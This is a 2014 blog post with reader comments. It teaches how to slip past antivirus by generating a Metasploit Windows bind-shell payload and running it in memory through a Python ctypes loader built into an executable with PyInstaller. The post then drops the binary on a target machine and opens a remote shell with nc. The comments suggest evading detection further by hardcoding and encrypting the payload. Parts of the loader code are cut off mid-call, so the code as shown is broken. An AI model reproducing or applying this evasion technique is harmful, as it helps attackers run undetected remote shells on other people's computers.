Skip to content

Execute Shellcode, Bypassing Anti-Virus…

by on July 18, 2014


I am going to demonstrate a little trick to allow you to bypass anti-virus and execute shellcode, this is a publicly known trick that I did not discover. The shellcode I am going to use for this example is the common Metasploit Windows Bind TCP shell, however any shellcode can be used, I have simply chosen this one for simplicity.

As I’m sure you’re all aware, the standard Metasploit Windows Bind shell will be flagged by the most basic of anti-virus solutions.

So, first of all let’s generate a Metasploit payload:

root@kali:~# msfpayload windows/shell_bind_tcp LPORT=31337 C | grep -v 'unsigned' | grep -v '*' | sed s'/"//g' | sed s'/;//g' | tr "\n" "," | sed s'/,//g' && echo ""

Copy the line of shellcode that gets returned, we will paste it into the binary later. Be aware, if you do change the payload the above command will not work as it is specific to that payload (for extracting the opcodes from the msfpayload output).

Now in order to do this you must have Python and PyInstaller installed. I will not cover how to install these as their respective sites do it well.

The following piece of Python code takes shellcode as input and moves it into the newly created memory space, finally executing it and bypassing anti-virus. Using VirtualAlloc, RtlMoveMemory, CreateThread and WaitForSingleObject we achieve this. Here is the Python code:


from ctypes import *

# Grab shellcode from the user so its not hardcoded.
sc = bytearray(input("Paste the shellcode inside single quotes:\n\n"))
print "\n\nRunning shellcode in memory...\n\n"

# Reserves or commits a region of pages in the virtual address space of the calling process.
pointer = windll.kernel32.VirtualAlloc(c_int(0),
buffer = (c_char * len(sc)).from_buffer(sc)
# The RtlMoveMemory routine copies the contents of a source memory block to a destination 
# memory block, and supports overlapping source and destination memory blocks.
# Creates a thread to execute within the virtual address space of the calling process.
ht = windll.kernel32.CreateThread(c_int(0),
# Waits until the specified object is in the signaled state or the time-out interval elapses. 
windll.kernel32.WaitForSingleObject(c_int(ht), c_int(-1))

print "Completed, you're shellcode has been injected into memory and should be running..."

Take the above Python script and compile it to an win32 executable using PyInstaller:

C:\Users\mike.evans\Desktop\AV>c:\Python27\Scripts\pyinstaller.exe -F
82 INFO: wrote C:\Users\mike.evans\Desktop\AV\crypter2.spec
117 INFO: Testing for ability to set icons, version resources...
247 INFO: ... resource update available
252 INFO: UPX is not available.
283 INFO: Processing hook hook-os
424 INFO: Processing hook hook-time
430 INFO: Processing hook hook-cPickle
510 INFO: Processing hook hook-_sre
667 INFO: Processing hook hook-cStringIO
780 INFO: Processing hook hook-encodings
799 INFO: Processing hook hook-codecs
1440 INFO: Extending PYTHONPATH with C:\Users\mike.evans\Desktop\AV
1440 INFO: checking Analysis
1441 INFO: building Analysis because out00-Analysis.toc non existent
1441 INFO: running Analysis out00-Analysis.toc
1444 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable
1917 INFO: Searching for assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_none ...
1918 INFO: Found manifest C:\Windows\WinSxS\Manifests\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.21022.8_none_bcb86ed6ac711f91.manifest
1925 INFO: Searching for file msvcr90.dll
1927 INFO: Found file C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.21022.8_none_bcb86ed6ac711f91\msvcr90.dll
1927 INFO: Searching for file msvcp90.dll
1928 INFO: Found file C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.21022.8_none_bcb86ed6ac711f91\msvcp90.dll
1930 INFO: Searching for file msvcm90.dll
1930 INFO: Found file C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.21022.8_none_bcb86ed6ac711f91\msvcm90.dll
2058 INFO: Analyzing C:\Python27\lib\site-packages\pyinstaller-2.1-py2.7.egg\PyInstaller\loader\
2078 INFO: Processing hook hook-os
2102 INFO: Processing hook hook-site
2128 INFO: Processing hook hook-encodings
2260 INFO: Processing hook hook-time
2267 INFO: Processing hook hook-cPickle
2351 INFO: Processing hook hook-_sre
2500 INFO: Processing hook hook-cStringIO
2625 INFO: Processing hook hook-codecs
3140 INFO: Processing hook hook-pydoc
3322 INFO: Processing hook hook-email
3401 INFO: Processing hook hook-httplib
3461 INFO: Processing hook hook-email.message
3560 INFO: Analyzing C:\Python27\lib\site-packages\pyinstaller-2.1-py2.7.egg\PyInstaller\loader\
3628 INFO: Analyzing C:\Python27\lib\site-packages\pyinstaller-2.1-py2.7.egg\PyInstaller\loader\
3693 INFO: Analyzing C:\Python27\lib\site-packages\pyinstaller-2.1-py2.7.egg\PyInstaller\loader\
3752 INFO: Analyzing C:\Python27\lib\site-packages\pyinstaller-2.1-py2.7.egg\PyInstaller\loader\
3763 INFO: Analyzing
3849 INFO: Hidden import 'codecs' has been found otherwise
3851 INFO: Hidden import 'encodings' has been found otherwise
3852 INFO: Looking for run-time hooks
4213 INFO: Using Python library C:\Windows\system32\python27.dll
4450 INFO: Warnings written to C:\Users\mike.evans\Desktop\AV\build\crypter2\warncrypter2.txt
4470 INFO: checking PYZ
4471 INFO: rebuilding out00-PYZ.toc because out00-PYZ.pyz is missing
4473 INFO: building PYZ (ZlibArchive) out00-PYZ.toc
5601 INFO: checking PKG
5604 INFO: rebuilding out00-PKG.toc because out00-PKG.pkg is missing
5605 INFO: building PKG (CArchive) out00-PKG.pkg
6776 INFO: checking EXE
6777 INFO: rebuilding out00-EXE.toc because crypter2.exe missing
6779 INFO: building EXE from out00-EXE.toc
6818 INFO: Appending archive to EXE C:\Users\mike.evans\Desktop\AV\dist\crypter2.exe

Now we have the binary, lets check VirusTotal and see what it scores:


Excellent, it passes all anti-virus checks. Let’s drop this binary onto the target machine and paste in the shellcode from earlier:

Paste the shellcode inside single quotes:


Running shellcode in memory...

Excellent, so the binary didn’t get flagged and it executed our shellcode in memory. If we try connecting to the target on port 31337 we should get a shell:

dustys-air:~ dusty$ nc 31337
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.



This technique can be handy in certain situations where you just want to drop a payload and the darn AV keeps picking it up.

  1. toto permalink

    … … … UH ?!? The shellcode is just passed as a command-line parameter !!! Should we ask the victim “Hi, can you start the attached .exe file and paste the “0xshellcode” argument into it ? Thanks !” ? How can we use it in a vulnerability exploitation !? Why the fuck do we care about “shellcode detection” by AV (which is non-sense) ? Why using virustotal on a file which does nothing by itself ? In this state, just do “system(argv[1])” executable, it will be the same thing ! Why using win32 API with python and not directly with C/assembly ? THIS IS SO LAME.

    • Hi,

      Thank you for your comment.

      This was not aimed at social engineering type attacks where you coerce the victim to run the payload. It was more so aimed at when you need to drop a payload on a compromised machine, but the AV is flagging it each time. Situations like these you can run the binary, paste the shellcode of your choice in and have it executed bypassing AV.

      Yes, you can do the same thing in C by casting the buffer to a function pointer, like so: (*(int(*)()) shellcode)();. However I choose to do it in Python as I quite like the language.

      If you wanted to have a complete binary without the need to pass the shellcode in as an argument then you could hardcode it and perform some form of encoding/decoding or runtime decryption on it e.g. with weak AES keys. This way you could compile the script to a binary, not have to paste in the shellcode and still have it bypass AV…

      • toto permalink

        Okay, maybe I’ve been too much agressive… Sorry.

        > If I want to execute something on a compromised machine, it won’t be a shellcode. And if I want to execute a shellcode, I will just transmit it over the network to a dedicated tool (i.e Poison Ivy rat commands which are mostly shellcodes)
        > I was just wondering why not using the kernel32.dll APIs. I believe the shellcode() call won’t work because it’s not stored in a executable memory region. You must perform a VirtualProtect() first.
        > The last remark is just about packing (/encrypt) executable code, and it can be detected by antiviruses like KAV.

        Thanks for your reply, sorry again for the aggressive tone :/

  2. I forgot to mention, initially the shellcode was hardcoded as is. The same technique was followed as in this post, the resulting .exe bypassed all AV’s without need to do anything more. When I came to write the blog post, one AV vendor was flagging it, so I changed it to accept the shellcode as an argument to the binary..

  3. Jeff permalink

    Hey penturaLabs, awesome work. I’m trying to recreate what you did and getting

    Traceback (most recent call last):
    File “”, line 26, in
    TypeError: ‘int’ object is not callable

    Think you can help?


    • dusty permalink

      Hello Jeff,

      Can you paste the full code that you are running preferably using something like and pass the link as a comment here. Also what Python version are you running and what platform are you trying this on? Also what shellcode are you passing the program?



Trackbacks & Pingbacks

  1. Veille #Cybersécurité du 20/07/2014 | Le blog de la cyber-sécurité

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: